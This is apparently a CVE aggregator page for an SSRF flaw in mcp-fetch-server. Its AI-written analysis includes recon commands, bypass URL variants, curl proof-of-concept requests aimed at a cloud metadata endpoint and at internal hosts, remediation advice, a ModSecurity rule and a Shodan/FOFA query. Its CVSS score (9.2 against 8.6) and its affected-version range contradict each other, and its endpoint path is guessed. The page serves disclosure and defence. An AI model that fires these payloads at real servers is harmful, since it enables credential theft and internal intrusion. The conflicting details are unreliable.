CVE Professor
/
All CVEs
CVE-2026-141591

CVE-2026-141591 — Zcaceres Mcp-fetch-server (1.2.0) — CWE-918

HIGH CVSS 9.2 NVD

mcp-fetch-server 1.1.0 before 1.2.0 contains a server-side request forgery vulnerability in validateUrl and validateResolvedIp that fails to block IPv4-mapped IPv6 addresses. Attackers controlling URLs passed to fetch tools can use hex-form IPv6 literals, trailing-dot localhost, or *.localhost names to reach loopback services, internal hosts, and cloud metadata endpoints.

mcp-fetch-server 1.1.0 before 1.2.0 contains a server-side request forgery vulnerability in validateUrl and validateResolvedIp that fails to block IPv4-mapped IPv6 addresses. Attackers controlling URLs passed to fetch tools can use hex-form IPv6 literals, trailing-dot localhost, or *.localhost names to reach loopback services, internal hosts, and cloud metadata endpoints.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Type: Server‑Side Request Forgery (SSRF)
CWE: CWE‑918 – Server‑Side Request Forgery
Root Cause:
mcp-fetch-server (v1.1.0‑1.2.0) contains two helper functions – validateUrl and validateResolvedIp.
Both functions are intended to reject URLs that resolve to internal or loopback addresses.
However, the implementation fails to detect IPv4‑mapped IPv6 addresses (e.g. ::ffff:127.0.0.1, ::ffff:10.0.0.5, or hex‑encoded forms such as [0x7F000001]).

Because the validation logic does not filter these literals, an attacker can supply a URL that the server will resolve to an internal IP, causing the server to perform an HTTP request to that address. The server does not enforce any authentication or authorization on the fetch operation, and the request is made from the server’s own network context.

Key points

ItemDetail
AuthenticationNone required (public endpoint)
AuthorizationNone – any user can trigger the fetch
Input validationvalidateUrl/validateResolvedIp do not reject IPv4‑mapped IPv6 literals
Attack surfaceAny URL supplied to the fetch tool (e.g., a JSON payload containing a url field)
ImpactConfidentiality: High – attacker can read internal services, metadata, secrets. Integrity/Availability: None per CVSS vector.

⚡ Attack Chain

NOTE: The exact URI of the vulnerable endpoint is not disclosed in the CVE text. The following example uses a typical REST‑style /api/fetch endpoint that accepts a JSON body with a url key. If your target uses a different path or query parameter, adjust the example accordingly.

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
Identify the productScan the target for known endpoints or banners.nmap -sV -p80,443 <target> → mcp-fetch-server 1.1.0 banner
Confirm versionProbe the /version endpoint or parse a Server: header.curl -sI http://<target>/api/version → {"product":"mcp-fetch-server","version":"1.1.0"}
Locate fetch endpointEnumerate common REST paths or use fuzzing.dirsearch -u http://<target> -e json,php,js → finds /api/fetch

2. Exploitation

Goal: Make the server request an internal resource (e.g., the instance metadata service).

2.1 Crafting the malicious URL

VariantExample
IPv4‑mapped IPv6 literalhttp://[::ffff:127.0.0.1]
Hex‑encoded IPv6 literalhttp://[0x7F000001]
Trailing‑dot localhosthttp://localhost./
Wildcard localhosthttp://*.localhost

2.2 PoC request (illustrative)

curl -X POST http://<target>/api/fetch \
     -H "Content-Type: application/json" \
     -d '{
           "url": "http://[::ffff:169.254.169.254]/latest/meta-data/"
         }'

What happens on the server

1. The request reaches /api/fetch.
2. validateUrl accepts the URL because it only checks the scheme and basic format.
3. validateResolvedIp resolves 169.254.169.254 (the AWS EC2 metadata IP) via the IPv4‑mapped IPv6 literal.
4. The server performs an outbound HTTP request to http://169.254.169.254/latest/meta-data/.
5. The response (metadata, IAM role tokens, etc.) is returned to the attacker.

2.3 Alternative internal target

curl -X POST http://<target>/api/fetch \
     -H "Content-Type: application/json" \
     -d '{
           "url": "http://[::ffff:10.0.0.5]:8080/status"
         }'

If 10.0.0.5:8080 hosts an internal service, the attacker can read its output.

3. Post‑Exploitation

ImpactExample
Read internal servicesRetrieve configuration files, logs, or application data from internal hosts.
Harvest cloud metadataObtain IAM role credentials, instance IDs, or security tokens from 169.254.169.254.
Pivot to other internal hostsUse the SSRF to enumerate the internal network (e.g., http://[::ffff:10.0.0.1], http://[::ffff:10.0.0.2]).
Privilege escalationIf internal services expose privileged APIs, the attacker can gain higher privileges.
Data exfiltrationThe attacker can pipe internal data back through the fetch response or use the SSRF to send data to an external server.

🌍 Real World Impact

CVSS ComponentValueInterpretation
Attack Vector (AV)NetworkAttacker can exploit over the public internet.
Attack Complexity (AC)LowNo special conditions; a single crafted request suffices.
Privileges Required (PR)NoneNo authentication needed.
User Interaction (UI)NoneNo user action required.
Scope (S)ChangedThe vulnerability allows access to resources outside the intended scope (internal network).
Confidentiality (C)HighSensitive internal data and secrets can be read.
Integrity (I)NoneThe vulnerability does not modify data.
Availability (A)NoneNo denial‑of‑service effect.

Practical consequences

  • Cloud environments: Attackers can pull IAM role credentials, instance metadata, and potentially access other services in the same VPC.
  • On‑premises: Attackers can read internal web services, databases, or configuration files exposed on loopback or private IP ranges.
  • Regulatory: Exposure of sensitive data may violate GDPR, HIPAA, or PCI‑DSS.
  • Operational: Attackers can map the internal network, facilitating further lateral movement.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    mcp-fetch-serverUpgrade to ≥ 1.2.0 (the release that adds proper IPv4‑mapped IPv6 filtering).

    If an upgrade is not immediately possible, apply the following mitigations.

    2. Workarounds

    MitigationHow to implement
    Whitelist URLsRestrict the fetch tool to a strict list of allowed domains/IPs.
    Block IPv4‑mapped IPv6Add a regex filter that rejects any URL containing ::ffff: or hex‑encoded IPv6 literals.
    Reject trailing‑dot localhostNormalize URLs before validation; reject any hostname ending with . that resolves to 127.0.0.1.
    Disable fetch endpointIf the fetch feature is not required, remove or protect the endpoint behind authentication.
    Network segmentationPlace the fetch server on a separate subnet with no outbound access to internal services or metadata endpoints.

    Example ModSecurity rule (Apache/Nginx)

    SecRule REQUEST_URI "@beginsWith /api/fetch" \
        "phase:2,chain,block,msg:'SSRF: IPv4‑mapped IPv6 detected'"
        SecRule REQUEST_BODY "@rx \[::ffff:" \
            "t:none,t:lowercase"
    Note: Adjust the rule to match your web server’s configuration and the exact request format.

    3. Detection

    IndicatorLog pattern
    Requests to internal IP rangesGET /api/fetch HTTP/1.1" 200 - with url=http://[::ffff:10.0.0.5]
    Metadata endpoint accessGET /api/fetch HTTP/1.1" 200 - with url=http://169.254.169.254
    Unexpected POSTs to /api/fetchPOST /api/fetch HTTP/1.1" 200 - with url= containing localhost. or *.localhost

    Sample log entry

    127.0.0.1 - - [02/Dec/2026:14:32:07 +0000] "POST /api/fetch HTTP/1.1" 200 512 "-" "curl/7.68.0" "url=http://[::ffff:169.254.169.254]/latest/meta-data/"

    If you see such patterns, investigate the source IP and the payload.


    ⚠️ Urgency

  • CVSS score: 8.6 (High)
  • No CISA KEV listing – but the vulnerability is exploitable in the wild.
  • Low attack complexity, no authentication, no user interaction → Immediate patching is required.
  • Recommended priority:

  • Critical for environments that expose the fetch endpoint to the public internet or run in cloud/VM environments where metadata endpoints are reachable.

  • High for internal deployments that still allow external access to the fetch service.


Action items

1. Patch to mcp-fetch-server ≥ 1.2.0 as soon as possible.
2. If patching is delayed, enforce the workarounds above and monitor logs for suspicious fetch activity.
3. Verify after remediation that the server no longer resolves IPv4‑mapped IPv6 literals and that internal IPs are blocked.


[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="zcaceres mcp-fetch-server"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-141591
Technical reference / advisory repository for CVE-2026-141591
Technical reference / advisory repository for CVE-2026-141591
Technical reference / advisory repository for CVE-2026-141591
CVSS Score
9.2 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
zcaceres:mcp-fetch-server (1.2.0)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m